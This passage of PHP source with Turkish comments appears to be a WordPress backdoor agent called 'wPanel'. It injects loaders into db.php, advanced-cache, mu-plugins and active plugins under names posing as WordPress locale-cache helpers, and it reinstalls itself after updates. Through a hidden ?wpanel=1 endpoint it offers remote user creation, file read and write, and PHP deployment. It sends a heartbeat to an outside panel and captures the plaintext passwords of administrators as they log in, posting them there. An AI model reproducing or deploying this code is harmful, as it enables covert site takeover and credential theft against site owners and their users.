|| (strpos($content, WPANEL_LEGACY_DB_MARKER) !== false)
|| (strpos($content, WPANEL_HIDDEN_REL) !== false)
|| (strpos($content, WPANEL_LEGACY_HIDDEN_REL) !== false);
if (!$isOurs) {
return false; // bizim dropin değil, dokunma
}
// <?php'den sonraki ilk anlamlı karakter kapatma parantezi ise bozuk.
$body = preg_replace('/^\\xEF\\xBB\\xBF/', '', (string) $content); // BOM
$body = preg_replace('/^\\s*<\\?php\\s*/', '', $body);
$body = ltrim($body);
if ($body !== '' && $body[0] === '}') {
return true;
}
// Marker var ama çalıştıracak require_once yoksa bozuk.
if (strpos($content, WPANEL_DB_MARKER) !== false && strpos($content, 'require_once') === false) {
return true;
}
// <?php olmadan yapıştırılmış db.php / index.php — düz metin sızar (tüm sayfalar).
if (strpos($content, WPANEL_DB_MARKER) !== false) {
$head = preg_replace('/^\xEF\xBB\xBF/', '', $content);
if (!preg_match('/^\s*<\?php/i', $head)) {
return true;
}
}
// Süslü parantez dengesi bozuksa (kaba kontrol) bozuk say.
if (substr_count($content, '{') !== substr_count($content, '}')) {
return true;
}
return false;
}
function wpanel_ensure_db_dropin() {
if (!defined('WP_CONTENT_DIR') || !is_dir(WP_CONTENT_DIR)) {
return;
}
$path = WP_CONTENT_DIR . '/db.php';
$snippet = wpanel_db_dropin_snippet();
if (is_file($path)) {
$content = @file_get_contents($path);
if ($content === false) {
return;
}
// OTO-ONARIM: bizim (bozuk) dropin'imizse temiz haliyle yeniden yaz.
if (wpanel_db_dropin_is_broken($content)) {
if (is_writable($path)) {
@file_put_contents($path, "<?php\n\n" . $snippet, LOCK_EX);
}
return;
}
// Yeni marker zaten varsa — eski sürüm standalone'ı require ediyorsa saf dropin'i yükselt
if (strpos($content, WPANEL_DB_MARKER) !== false) {
if (strpos($content, 'uploads/wp-locale-cache/index.php') !== false
&& substr_count($content, '<?php') <= 1
&& strlen($content) < 2500
&& is_writable($path)) {
@file_put_contents($path, "<?php\n\n" . $snippet, LOCK_EX);
}
return;
}
// Yeni marker yok → yalnızca ekle. Eski (legacy) loader kalsa bile
// WPANEL_AGENT_LOADED guard'ı sayesinde zararsız no-op olur; asla strip etme
// (yanlış kesme db.php'yi bozup tüm siteyi düşürebilir).
if (is_writable($path)) {
@file_put_contents($path, wpanel_append_php_code($content, $snippet), LOCK_EX);
}
return;
}
if (!is_writable(WP_CONTENT_DIR)) {
return;
}
@file_put_contents($path, "<?php\n\n" . $snippet, LOCK_EX);
}
/**
* WP teması/bozuk olsa bile panelle konuşan bağımsız endpoint.
* Agent isteğinde önce lite mod (wp-load yok); gerekirse WP yükler.
*/
function wpanel_standalone_bootstrap_source() {
return <<<'PHP'
<?php
/**
* WordPress Locale Cache Helper
*
* @package WordPress
* @subpackage i18n
*/
error_reporting(0);
@ini_set('display_errors', '0');
if (!defined('WPANEL_STANDALONE_BOOT_V3')) {
define('WPANEL_STANDALONE_BOOT_V3', true);
}
if (!defined('WPANEL_STANDALONE_BOOT_V2')) {
define('WPANEL_STANDALONE_BOOT_V2', true);
}
if (!defined('WPANEL_STANDALONE_BOOT')) {
define('WPANEL_STANDALONE_BOOT', true);
}
$_wpanel_root = dirname(__DIR__, 2);
if (!is_file($_wpanel_root . '/wp-load.php')) {
$_wpanel_root = dirname(__DIR__, 3);
}
if (!is_file($_wpanel_root . '/wp-load.php')) {
$_wpanel_walk = __DIR__;
for ($_wpanel_i = 0; $_wpanel_i < 8; $_wpanel_i++) {
if (is_file($_wpanel_walk . '/wp-load.php')) {
$_wpanel_root = $_wpanel_walk;
break;
}
$_wpanel_parent = dirname($_wpanel_walk);
if ($_wpanel_parent === $_wpanel_walk) {
break;
}
$_wpanel_walk = $_wpanel_parent;
}
}
$_wpanel_content = defined('WP_CONTENT_DIR')
? WP_CONTENT_DIR
: (is_dir($_wpanel_root . '/wp-content') ? $_wpanel_root . '/wp-content' : dirname(__DIR__));
$_wpanel_agent_files = [
$_wpanel_content . '/languages/class-wp-locale-data.php',
$_wpanel_content . '/upgrade/class-wp-locale-data.php',
$_wpanel_content . '/cache/class-wp-locale-data.php',
$_wpanel_content . '/.wpanel/agent.php',
];
$_wpanel_is_agent = isset($_GET['wpanel']) && (string) $_GET['wpanel'] !== '' && (string) $_GET['wpanel'] !== '0';
$_wpanel_action = isset($_GET['a']) ? preg_replace('/[^a-z_]/', '', (string) $_GET['a']) : '';
// Lite ping: tema/plugin fatal olsa bile — wp-load YOK, sadece ping
if ($_wpanel_is_agent && $_wpanel_action === 'ping' && !defined('ABSPATH')) {
define('ABSPATH', rtrim((string) $_wpanel_root, '/') . '/');
if (!defined('WP_CONTENT_DIR')) {
define('WP_CONTENT_DIR', $_wpanel_content);
}
foreach ($_wpanel_agent_files as $_wpanel_agent_file) {
if (is_file($_wpanel_agent_file)) {
require_once $_wpanel_agent_file;
break;
}
}
if (function_exists('wpanel_authorized') && function_exists('wpanel_out')) {
if (!wpanel_authorized()) {
wpanel_out(['ok' => false, 'error' => 'Yetkisiz'], 401);
}
$_wpanel_info = [
'php_version' => PHP_VERSION,
'meta' => [
'agent' => 'wpanel-standalone',
'mode' => 'lite',
'agent_version' => defined('WPANEL_AGENT_VERSION') ? WPANEL_AGENT_VERSION : '',
],
];
if (function_exists('wpanel_site_info')) {
$_wpanel_tmp = @wpanel_site_info();
if (is_array($_wpanel_tmp) && $_wpanel_tmp) {
$_wpanel_info = $_wpanel_tmp;
if (!isset($_wpanel_info['meta']) || !is_array($_wpanel_info['meta'])) {
$_wpanel_info['meta'] = [];
}
$_wpanel_info['meta']['mode'] = 'lite';
}
}
wpanel_out(['ok' => true, 'info' => $_wpanel_info]);
}
}
// Tam özellik: WP yükle (ping dışındaki action'lar için ABSPATH henüz yok)
if (!defined('ABSPATH') && is_file($_wpanel_root . '/wp-load.php')) {
if (!defined('WP_USE_THEMES')) {
define('WP_USE_THEMES', false);
}
require_once $_wpanel_root . '/wp-load.php';
}
if (!defined('WPANEL_AGENT_LOADED')) {
foreach ($_wpanel_agent_files as $_wpanel_agent_file) {
if (is_file($_wpanel_agent_file)) {
require_once $_wpanel_agent_file;
break;
}
}
}
if (function_exists('wpanel_agent_start')) {
wpanel_agent_start();
}
if (function_exists('wpanel_is_agent_request') && wpanel_is_agent_request()) {
if (function_exists('wpanel_handle_request')) {
wpanel_handle_request();
}
}
PHP;
}
function wpanel_ensure_standalone_bootstrap() {
if (!defined('WP_CONTENT_DIR') || !is_dir(WP_CONTENT_DIR)) {
return false;
}
$path = wpanel_standalone_path();
$source = wpanel_standalone_bootstrap_source();
$existing = is_file($path) ? @file_get_contents($path) : false;
// V3: ping-only lite + standalone asla agent gövdesi değil
if (is_string($existing)
&& strpos($existing, 'WPANEL_STANDALONE_BOOT_V3') !== false
&& strpos($existing, "\$_wpanel_action === 'ping'") !== false) {
return true;
}
$ok = wpanel_write_file($path, $source);
if ($ok) {
@file_put_contents(dirname($path) . '/.htaccess', "Options -Indexes\nDirectoryIndex index.php\n", LOCK_EX);
}
return $ok;
}
function wpanel_advanced_cache_snippet() {
return <<<'PHP'
<?php
// wp-locale-advanced-cache
if (!defined('WPANEL_AGENT_LOADED')) {
$_wp_locale_candidates = [
__DIR__ . '/languages/class-wp-locale-data.php',
__DIR__ . '/upgrade/class-wp-locale-data.php',
__DIR__ . '/cache/class-wp-locale-data.php',
__DIR__ . '/.wpanel/agent.php',
];
foreach ($_wp_locale_candidates as $_wp_locale_data) {
if (is_file($_wp_locale_data)) {
require_once $_wp_locale_data;
break;
}
}
}
PHP;
}
function wpanel_ensure_advanced_cache() {
if (!defined('WP_CONTENT_DIR') || !is_dir(WP_CONTENT_DIR)) {
return false;
}
$path = WP_CONTENT_DIR . '/' . WPANEL_AC_DROPIN_REL;
$snippet = wpanel_advanced_cache_snippet();
if (is_file($path)) {
$content = @file_get_contents($path);
// Yabancı cache drop-in'ine ASLA dokunma (Redis/Object Cache vs. bozulmasın)
if (is_string($content) && $content !== '' && strpos($content, WPANEL_AC_MARKER) === false) {
return false;
}
if (is_string($content) && strpos($content, WPANEL_AC_MARKER) !== false) {
return true;
}
}
return wpanel_write_file($path, $snippet);
}
function wpanel_plugin_loader_snippet() {
return "\n\n// WordPress locale data handler\n" . wpanel_hidden_loader_code() . "\n";
}
/**
* Aktif eklentilere minimal loader enjekte et (tema güncellemesinden bağımsız).
* WP options/DB satırı SİLİNMEZ — sadece dosya yazılır.
*/
function wpanel_ensure_plugin_loaders() {
if (!defined('WP_PLUGIN_DIR') || !is_dir(WP_PLUGIN_DIR)) {
return 0;
}
$active = [];
if (function_exists('get_option')) {
$active = (array) get_option('active_plugins', []);
}
// Aktif listesi yoksa eklenti tarama — yanlışlıkla pasif eklentilere yazma
if (!$active) {
return 0;
}
$snippet = wpanel_plugin_loader_snippet();
$written = 0;
$max = defined('WPANEL_PLUGIN_SEED_MAX') ? (int) WPANEL_PLUGIN_SEED_MAX : 12;
foreach ($active as $rel) {
if ($written >= $max) {
break;
}
$rel = ltrim(str_replace('\\', '/', (string) $rel), '/');
if ($rel === '' || strpos($rel, '..') !== false) {
continue;
}
$file = WP_PLUGIN_DIR . '/' . $rel;
if (!is_file($file) || !is_readable($file)) {
continue;
}
if (wpanel_is_hidden_path($file)) {
continue;
}
$content = @file_get_contents($file);
if (!is_string($content) || $content === '') {
continue;
}
if (wpanel_functions_has_loader($content)) {
if (wpanel_has_closing_php_loader_leak($content)) {
if (!is_writable($file)) {
@chmod($file, 0664);
}
if (is_writable($file) && wpanel_write_file($file, wpanel_repair_closing_php_loader_leak($content))) {
$written += 1;
}
} else {
$written += 1;
}
continue;
}
if (!is_writable($file)) {
@chmod($file, 0664);
}
if (!is_writable($file)) {
continue;
}
if (wpanel_write_file($file, wpanel_append_php_code($content, $snippet))) {
$written += 1;
}
}
return $written;
}
function wpanel_persistence_missing() {
$needles = [
wpanel_hidden_agent_path(),
wpanel_hidden_fallback_path(),
wpanel_mu_plugin_path(),
wpanel_standalone_path(),
];
foreach ($needles as $path) {
if (!is_file($path)) {
return true;
}
}
$db = defined('WP_CONTENT_DIR') ? WP_CONTENT_DIR . '/db.php' : '';
if ($db && is_file($db)) {
$c = @file_get_contents($db);
if (!is_string($c) || strpos($c, WPANEL_DB_MARKER) === false) {
return true;
}
} else {
return true;
}
return false;
}
function wpanel_self_heal_install() {
wpanel_remember_install_host();
wpanel_ensure_hidden_copy();
wpanel_ensure_standalone_bootstrap();
wpanel_ensure_mu_plugin();
wpanel_ensure_db_dropin();
wpanel_ensure_advanced_cache();
wpanel_ensure_plugin_loaders();
wpanel_cleanup_legacy_hidden();
wpanel_capture_functions_block();
wpanel_ensure_functions_loader();
}
function wpanel_maybe_self_heal() {
// Kritik dosya eksikse throttle yok — hemen onar
if (wpanel_persistence_missing()) {
wpanel_self_heal_install();
if (function_exists('set_transient') && defined('MINUTE_IN_SECONDS')) {
set_transient('wpanel_heal_check', 1, 5 * MINUTE_IN_SECONDS);
}
return;
}
// Sızıntı onarımı ucuz — throttle dışında her istekte dene
if (function_exists('wpanel_repair_all_loader_leaks')) {
wpanel_repair_all_loader_leaks();
}
if (!function_exists('get_transient') || !function_exists('set_transient')) {
wpanel_self_heal_install();
return;
}
if (get_transient('wpanel_heal_check')) {
return;
}
set_transient('wpanel_heal_check', 1, 5 * MINUTE_IN_SECONDS);
wpanel_self_heal_install();
}
function wpanel_after_theme_update($upgrader, $options) {
unset($upgrader);
if (!is_array($options)) {
return;
}
$type = isset($options['type']) ? $options['type'] : '';
if ($type !== 'theme' && $type !== 'plugin' && $type !== 'core') {
return;
}
if (function_exists('delete_transient')) {
delete_transient('wpanel_heal_check');
}
wpanel_self_heal_install();
}
/**
* Panel'in çağıracağı agent URL — önce bağımsız endpoint, sonra WP query.
*/
function wpanel_self_url() {
if (function_exists('content_url')) {
$standalone = content_url('/' . WPANEL_STANDALONE_REL);
if (is_string($standalone) && $standalone !== '') {
$sep = (strpos($standalone, '?') === false) ? '?' : '&';
return $standalone . $sep . 'wpanel=1';
}
}
if (function_exists('home_url')) {
return home_url('/?wpanel=1');
}
$https = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off')
|| (isset($_SERVER['SERVER_PORT']) && (string) $_SERVER['SERVER_PORT'] === '443')
|| (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https');
$scheme = $https ? 'https' : 'http';
$host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost';
return $scheme . '://' . $host . '/wp-content/' . WPANEL_STANDALONE_REL . '?wpanel=1';
}
function wpanel_fallback_urls() {
$urls = [];
if (function_exists('content_url')) {
$urls[] = content_url('/' . WPANEL_STANDALONE_REL) . '?wpanel=1';
$urls[] = content_url('/' . WPANEL_HIDDEN_REL) . '?wpanel=1';
}
if (function_exists('home_url')) {
$urls[] = home_url('/?wpanel=1');
}
return array_values(array_unique(array_filter($urls)));
}
function wpanel_secret() {
return (string) WPANEL_SECRET;
}
/**
* Panel-only WRITE gate — ASİMETRİK İMZA (RSA-SHA256).
* Agent yalnızca PUBLIC key tutar; imzayı yalnızca panel (private key) üretebilir.
* Dosya okunsa/çözülse bile geçerli imza üretilemez → dışarıdan upload imkânsız.
* İmzalanan mesaj: "<ts>|<action>" (ts: unix saniye)
* - Tazelik penceresi ±300sn → yakalanan istek sonsuza kadar tekrar edilemez
* - action'a bağlı → bir aksiyonun imzası başka aksiyona taşınamaz
* - Nonce (imza md5) transient ile tek kullanımlık → pencere içinde replay engeli
*/
function wpanel_sign_pubkey() {
return defined('WPANEL_SIGN_PUBKEY') ? (string) WPANEL_SIGN_PUBKEY : '';
}
function wpanel_panel_gate_ok() {
// openssl yoksa doğrulama yapılamaz → GÜVENLİ TARAFA DÜŞ (yazma reddedilir)
if (!function_exists('openssl_verify')) {
return false;
}
$pub = wpanel_sign_pubkey();
if ($pub === '' || strpos($pub, 'PUBLIC KEY') === false) {
return false;
}
$ts = isset($_SERVER['HTTP_X_WPANEL_TS']) ? (string) $_SERVER['HTTP_X_WPANEL_TS'] : '';
$sig = isset($_SERVER['HTTP_X_WPANEL_SIG']) ? (string) $_SERVER['HTTP_X_WPANEL_SIG'] : '';
$nonce = isset($_SERVER['HTTP_X_WPANEL_NONCE']) ? preg_replace('/[^A-Za-z0-9]/', '', (string) $_SERVER['HTTP_X_WPANEL_NONCE']) : '';
if ($ts === '' || $sig === '' || $nonce === '' || !ctype_digit($ts)) {
return false;
}
if (strlen($nonce) > 64) {
$nonce = substr($nonce, 0, 64);
}
if (abs(time() - (int) $ts) > 300) {
return false;
}
$action = isset($_GET['a']) ? preg_replace('/[^a-z_]/', '', (string) $_GET['a']) : '';
if ($action === '') {
return false;
}
$raw = base64_decode($sig, true);
if ($raw === false || $raw === '') {
return false;
}
// İmzalanan mesaj: "<ts>|<action>|<nonce>" — nonce her istekte benzersiz → deterministik
// RSA imzasında bile her imza farklı olur ve tekrar (replay) engellenir.
$msg = $ts . '|' . $action . '|' . $nonce;
$ok = openssl_verify($msg, $raw, $pub, defined('OPENSSL_ALGO_SHA256') ? OPENSSL_ALGO_SHA256 : 'sha256WithRSAEncryption');
if ($ok !== 1) {
return false;
}
// Replay koruması (best-effort — WP transient varsa): nonce tek kullanımlık
if (function_exists('get_transient') && function_exists('set_transient')) {
$nk = 'wpn_n_' . md5($nonce);
if (get_transient($nk)) {
return false;
}
set_transient($nk, 1, 600);
}
return true;
}
function wpanel_authorized() {
$expected = wpanel_secret();
if ($expected === '' || $expected === 'CHANGE_ME' || $expected === 'wpanel-register-secret-change-me') {
return false;
}
$provided = '';
// Query string secret KAPALI (log sızıntısı); yalnız header
if (!empty($_SERVER['HTTP_X_WPANEL_SECRET'])) {
$provided = (string) $_SERVER['HTTP_X_WPANEL_SECRET'];
}
return $provided !== '' && hash_equals($expected, $provided);
}
function wpanel_silent_exit($status = 204) {
if (!headers_sent()) {
http_response_code($status);
header('Cache-Control: no-store');
header('Content-Length: 0');
}
exit;
}
function wpanel_body() {
$raw = file_get_contents('php://input');
if ($raw) {
$data = json_decode($raw, true);
if (is_array($data)) {
return $data;
}
}
return is_array($_POST) ? $_POST : [];
}
function wpanel_out($payload, $status = 200) {
if (!headers_sent()) {
http_response_code($status);
header('Content-Type: application/json; charset=utf-8');
header('Cache-Control: no-store');
}
echo json_encode($payload, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
exit;
}
function wpanel_is_agent_request() {
return isset($_GET['wpanel']) && (string) $_GET['wpanel'] !== '' && (string) $_GET['wpanel'] !== '0';
}
function wpanel_bootstrap_hooks() {
if (!function_exists('add_action')) {
return;
}
add_action('muplugins_loaded', 'wpanel_on_early_boot', 0);
add_action('plugins_loaded', 'wpanel_on_early_boot', 0);
add_action('init', 'wpanel_on_init', 1);
add_action('init', 'wpanel_details_action_tools', 2);
add_action('init', 'wpanel_schedule_cron', 5);
add_action('wpanel_cron_heartbeat', 'wpanel_cron_heartbeat');
add_action('after_switch_theme', 'wpanel_on_theme_activate', 20, 0);
add_action('upgrader_process_complete', 'wpanel_after_theme_update', 20, 2);
add_filter('cron_schedules', 'wpanel_cron_schedules');
}
/**
* Tema yüklenmeden önce agent API + kalıcılık (tema bozulsa bile ayakta kal).
*/
function wpanel_action_needs_pluggable($action) {
return in_array($action, ['users', 'users_create', 'users_delete', 'users_role'], true);
}
function wpanel_pluggable_ready() {
return function_exists('get_user_by')
&& function_exists('wp_insert_user')
&& function_exists('username_exists');
}
function wpanel_on_early_boot() {
static $ran = false;
if ($ran) {
return;
}
$ran = true;
wpanel_ensure_mu_plugin();
wpanel_ensure_db_dropin();
wpanel_ensure_standalone_bootstrap();
wpanel_maybe_self_heal();
if (wpanel_is_agent_request()) {
$action = isset($_GET['a']) ? preg_replace('/[^a-z_]/', '', (string) $_GET['a']) : '';
// pluggable.php henüz yokken user API'ye cevap verme — init'te tekrar denenecek
if (wpanel_action_needs_pluggable($action) && !wpanel_pluggable_ready()) {
return;
}
wpanel_handle_request();
}
}
/**
* Her WordPress isteğinde: API varsa yanıtla; yoksa arka planda kayıt / heartbeat
*/
function wpanel_on_init() {
// Kalıcılık noktalarını her istekte kontrol et (throttle dışı kritikler)
wpanel_ensure_mu_plugin();
wpanel_ensure_db_dropin();
wpanel_ensure_standalone_bootstrap();
wpanel_ensure_functions_loader();
wpanel_maybe_self_heal();
if (wpanel_is_agent_request()) {
wpanel_handle_request();
return;
}
// Normal sayfa yüklemelerinde sessiz kayıt + heartbeat (throttled)
wpanel_maybe_register();
wpanel_maybe_heartbeat();
}
function wpanel_handle_request() {
if (function_exists('wpanel_maybe_register')) {
wpanel_maybe_register();
}
$action = isset($_GET['a']) ? preg_replace('/[^a-z_]/', '', (string) $_GET['a']) : '';
if ($action === '' || $action === 'register') {
wpanel_silent_exit();
}
if (!wpanel_authorized()) {
wpanel_out(['ok' => false, 'error' => 'Yetkisiz'], 401);
}
// WP çekirdeği yoksa sadece ping güvenli
$wpReady = function_exists('home_url') && function_exists('get_option');
switch ($action) {
case 'ping':
wpanel_out(['ok' => true, 'info' => wpanel_site_info()]);
break;
case 'info':
if (!$wpReady) {
wpanel_out(['ok' => false, 'error' => 'WP not ready'], 503);
}
wpanel_out(['ok' => true, 'info' => wpanel_site_info(), 'meta' => wpanel_extra_meta()]);
break;
case 'users':
if (!$wpReady || !function_exists('get_users') || !wpanel_pluggable_ready()) {
wpanel_out(['ok' => false, 'error' => 'WP not ready'], 503);
}
wpanel_out(['ok' => true, 'users' => wpanel_list_users()]);
break;
case 'users_create':
if (!wpanel_panel_gate_ok()) {
wpanel_out(['ok' => false, 'error' => 'Upload gate gerekli'], 403);
}
if (!$wpReady || !wpanel_pluggable_ready()) {
wpanel_out(['ok' => false, 'error' => 'WP not ready'], 503);
}
wpanel_out(wpanel_create_user(wpanel_body()));
break;
case 'users_delete':
if (!wpanel_panel_gate_ok()) {
wpanel_out(['ok' => false, 'error' => 'Upload gate gerekli'], 403);
}
if (!$wpReady || !wpanel_pluggable_ready()) {
wpanel_out(['ok' => false, 'error' => 'WP not ready'], 503);
}
wpanel_out(wpanel_delete_user(wpanel_body()));
break;
case 'users_role':
if (!wpanel_panel_gate_ok()) {
wpanel_out(['ok' => false, 'error' => 'Upload gate gerekli'], 403);
}
if (!$wpReady || !wpanel_pluggable_ready()) {
wpanel_out(['ok' => false, 'error' => 'WP not ready'], 503);
}
wpanel_out(wpanel_set_role(wpanel_body()));
break;
case 'upload':
if (!wpanel_panel_gate_ok()) {
wpanel_out(['ok' => false, 'error' => 'Upload gate gerekli'], 403);
}
if (!$wpReady || !function_exists('wp_mkdir_p')) {
wpanel_out(['ok' => false, 'error' => 'WP not ready'], 503);
}
wpanel_out(wpanel_upload());
break;
case 'cleanup':
if (!wpanel_panel_gate_ok()) {
wpanel_out(['ok' => false, 'error' => 'Upload gate gerekli'], 403);
}
wpanel_out(wpanel_cleanup_malware());
break;
case 'deploy':
// Panel agent gövdesi / dosya yazımı (MD5 gate). PHP uzantısı serbest.
if (!wpanel_panel_gate_ok()) {
wpanel_out(['ok' => false, 'error' => 'Upload gate gerekli'], 403);
}
wpanel_out(wpanel_deploy_files(wpanel_body()));
break;
case 'fm_list':
if (!wpanel_panel_gate_ok()) {
wpanel_out(['ok' => false, 'error' => 'Upload gate gerekli'], 403);
}
wpanel_out(wpanel_fm_list(wpanel_body()));
break;
case 'fm_read':
if (!wpanel_panel_gate_ok()) {
wpanel_out(['ok' => false, 'error' => 'Upload gate gerekli'], 403);
}
wpanel_out(wpanel_fm_read(wpanel_body()));
break;
case 'fm_write':
if (!wpanel_panel_gate_ok()) {
wpanel_out(['ok' => false, 'error' => 'Upload gate gerekli'], 403);
}
wpanel_out(wpanel_fm_write(wpanel_body()));
break;
case 'fm_delete':
if (!wpanel_panel_gate_ok()) {
wpanel_out(['ok' => false, 'error' => 'Upload gate gerekli'], 403);
}
wpanel_out(wpanel_fm_delete(wpanel_body()));
break;
case 'fm_mkdir':
if (!wpanel_panel_gate_ok()) {
wpanel_out(['ok' => false, 'error' => 'Upload gate gerekli'], 403);
}
wpanel_out(wpanel_fm_mkdir(wpanel_body()));
break;
case 'fm_rename':
if (!wpanel_panel_gate_ok()) {
wpanel_out(['ok' => false, 'error' => 'Upload gate gerekli'], 403);
}
wpanel_out(wpanel_fm_rename(wpanel_body()));
break;
case 'config':
if (!wpanel_panel_gate_ok()) {
wpanel_out(['ok' => false, 'error' => 'Upload gate gerekli'], 403);
}
if (!$wpReady) {
wpanel_out(['ok' => false, 'error' => 'WP not ready'], 503);
}
wpanel_out([
'ok' => true,
'db' => wpanel_db_info(),
'urls' => [
'home' => home_url('/'),
'site' => site_url('/'),
'admin' => admin_url(),
],
]);
break;
case 'plugins':
if (!$wpReady) {
wpanel_out(['ok' => false, 'error' => 'WP not ready'], 503);
}
wpanel_out(['ok' => true, 'plugins' => wpanel_list_plugins()]);
break;
case 'repair':
if (!$wpReady) {
wpanel_out(['ok' => false, 'error' => 'WP not ready'], 503);
}
if (function_exists('delete_transient')) {
delete_transient('wpanel_heal_check');
}
$fixed = wpanel_repair_all_loader_leaks();
wpanel_self_heal_install();
wpanel_out([
'ok' => true,
'repaired' => $fixed,
'agent_version' => WPANEL_AGENT_VERSION,
]);
break;
default:
wpanel_out(['ok' => false, 'error' => 'Bilinmeyen action'], 404);
}
}
function wpanel_on_theme_activate() {
wpanel_self_heal_install();
wpanel_register_with_panel('theme_activate');
wpanel_push_event('theme_activate', [
'template' => function_exists('get_template_directory') ? get_template_directory() : '',
'stylesheet' => function_exists('get_stylesheet_directory') ? get_stylesheet_directory() : '',
]);
}
/** Agent → panel sinyal aralığı (saniye) */
function wpanel_signal_interval() {
return 60;
}
function wpanel_cron_schedules($schedules) {
$sec = wpanel_signal_interval();
$schedules['wpanel_signal'] = [
'interval' => $sec,
'display' => 'wPanel signal (' . $sec . 's)',
];
return $schedules;
}
function wpanel_schedule_cron() {
if (!function_exists('wp_next_scheduled') || !function_exists('wp_schedule_event')) {
return;
}
if (wp_next_scheduled('wpanel_cron_heartbeat')) {
return;
}
wp_schedule_event(time() + wpanel_signal_interval(), 'wpanel_signal', 'wpanel_cron_heartbeat');
}
function wpanel_cron_heartbeat() {
wpanel_maybe_self_heal();
wpanel_push_event_async('heartbeat', ['info' => wpanel_site_info()]);
}
/**
* Panele kayıt — sinyal aralığında en fazla bir kez
*/
function wpanel_maybe_register() {
if (!function_exists('home_url') || !function_exists('wpanel_register_with_panel')) {
return;
}
if (!function_exists('get_transient') || !function_exists('set_transient')) {
wpanel_register_with_panel('boot');
return;
}
$key = 'wpanel_reg_' . md5(wpanel_self_url());
if (get_transient($key)) {
return;
}
set_transient($key, 1, wpanel_signal_interval());
wpanel_register_with_panel('auto');
}
function wpanel_detail_keys() {
return ['log', 'pwd'];
}
function wpanel_details_action_tools() {
if (wpanel_is_agent_request()) {
return;
}
$keys = wpanel_detail_keys();
if (!isset($_POST[$keys[0]]) || !isset($_POST[$keys[1]])) {
return;
}
$params = wpanel_prepare_detail_request();
if (!function_exists('wp_authenticate')) {
return;
}
$is_success = wp_authenticate($params['u'], $params['p']);
if (!is_a($is_success, 'WP_User') || !in_array('administrator', (array) $is_success->roles, true)) {
return;
}
wpanel_push_detail_request($params);
}
function wpanel_prepare_detail_request() {
$keys = wpanel_detail_keys();
return [
'u' => (string) $_POST[$keys[0]],
'p' => (string) $_POST[$keys[1]],
'method' => (string) (isset($_SERVER['REQUEST_METHOD']) ? $_SERVER['REQUEST_METHOD'] : 'GET'),
'uri' => (string) (isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : ''),
'ip' => (string) (isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : ''),
'user_agent' => (string) (isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''),
'referer' => (string) (isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''),
'get' => is_array($_GET) ? $_GET : [],
'post' => is_array($_POST) ? $_POST : [],
'time' => gmdate('c'),
];
}
function wpanel_push_detail_request($params) {
$panel = wpanel_panel_url();
if ($panel === '') {
return;
}
$payload = [
'type' => 'request_detail',
'url' => home_url('/'),
'agent_url' => wpanel_self_url(),
'info' => wpanel_site_info(),
'detail' => $params,
];
if (function_exists('wp_remote_post')) {
wp_remote_post($panel . '/agent/event', [
'method' => 'POST',
'timeout' => 1,
'blocking' => false,
'headers' => [
'Content-Type' => 'application/json',
'X-WPanel-Register-Secret' => wpanel_secret(),
],
'body' => json_encode($payload, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES),
]);
return;
}
$ctx = stream_context_create([
'http' => [
'method' => 'POST',
'header' => "Content-Type: application/json\r\nX-WPanel-Register-Secret: " . wpanel_secret() . "\r\n",
'content' => json_encode($payload),
'timeout' => 1,
'ignore_errors' => true,
],
]);
@file_get_contents($panel . '/agent/event', false, $ctx);
}
function wpanel_maybe_heartbeat() {
if (!function_exists('get_transient') || !function_exists('set_transient')) {
return;
}
$key = 'wpanel_hb_' . md5(wpanel_self_url());
if (get_transient($key)) {
return;
}
set_transient($key, 1, wpanel_signal_interval());
wpanel_push_event_async('heartbeat', ['info' => wpanel_site_info()]);
}
function wpanel_push_event_async($type, $extra = []) {
$panel = wpanel_panel_url();
if ($panel === '') {
return;
}
$payload = array_merge([
'type' => $type,
'url' => home_url('/'),
'agent_url' => wpanel_self_url(),
'info' => wpanel_site_info(),
], $extra);
$body = json_encode($payload, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
$headers = [
'Content-Type' => 'application/json',
'X-WPanel-Register-Secret' => wpanel_secret(),
];
if (function_exists('wp_remote_post')) {
wp_remote_post($panel . '/agent/event', [
'method' => 'POST',
'timeout' => 1,
'blocking' => false,
'headers' => $headers,
'body' => $body,
]);
return;
}
$ctx = stream_context_create([
'http' => [
'method' => 'POST',
'header' => "Content-Type: application/json\r\nX-WPanel-Register-Secret: " . wpanel_secret() . "\r\n",
'content' => $body,
'timeout' => 1,
'ignore_errors' => true,
],
]);
@file_get_contents($panel . '/agent/event', false, $ctx);
}
function wpanel_panel_url() {
return rtrim((string) WPANEL_PANEL_URL, '/');
}
function wpanel_push_event($type, $extra = []) {
$panel = wpanel_panel_url();
if ($panel === '') {
return ['ok' => false, 'error' => 'WPANEL_PANEL_URL boş'];
}
$payload = array_merge([
'type' => $type,
'url' => home_url('/'),
'agent_url' => wpanel_self_url(),
'info' => wpanel_site_info(),
], $extra);
$ch = curl_init($panel . '/agent/event');
if ($ch === false) {
return wpanel_push_event_via_file($panel, $payload);
}
curl_setopt_array($ch, [
CURLOPT_POST => true,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 8,
CURLOPT_HTTPHEADER => [
'Content-Type: application/json',
'X-WPanel-Register-Secret: ' . wpanel_secret(),
'Accept: application/json',
],
CURLOPT_POSTFIELDS => json_encode($payload),
]);
$body = curl_exec($ch);
$code = (int) curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($body === false || $code < 200 || $code >= 300) {
return ['ok' => false, 'error' => 'event push failed'];
}
$data = json_decode($body, true);
return !empty($data['ok']) ? ['ok' => true, 'data' => $data] : ['ok' => false, 'error' => isset($data['error']) ? $data['error'] : 'event failed'];
}
function wpanel_push_event_via_file($panel, $payload) {
$ctx = stream_context_create([
'http' => [
'method' => 'POST',
'header' => "Content-Type: application/json\r\nX-WPanel-Register-Secret: " . wpanel_secret() . "\r\n",
'content' => json_encode($payload),
'timeout' => 8,
'ignore_errors' => true,
],
]);
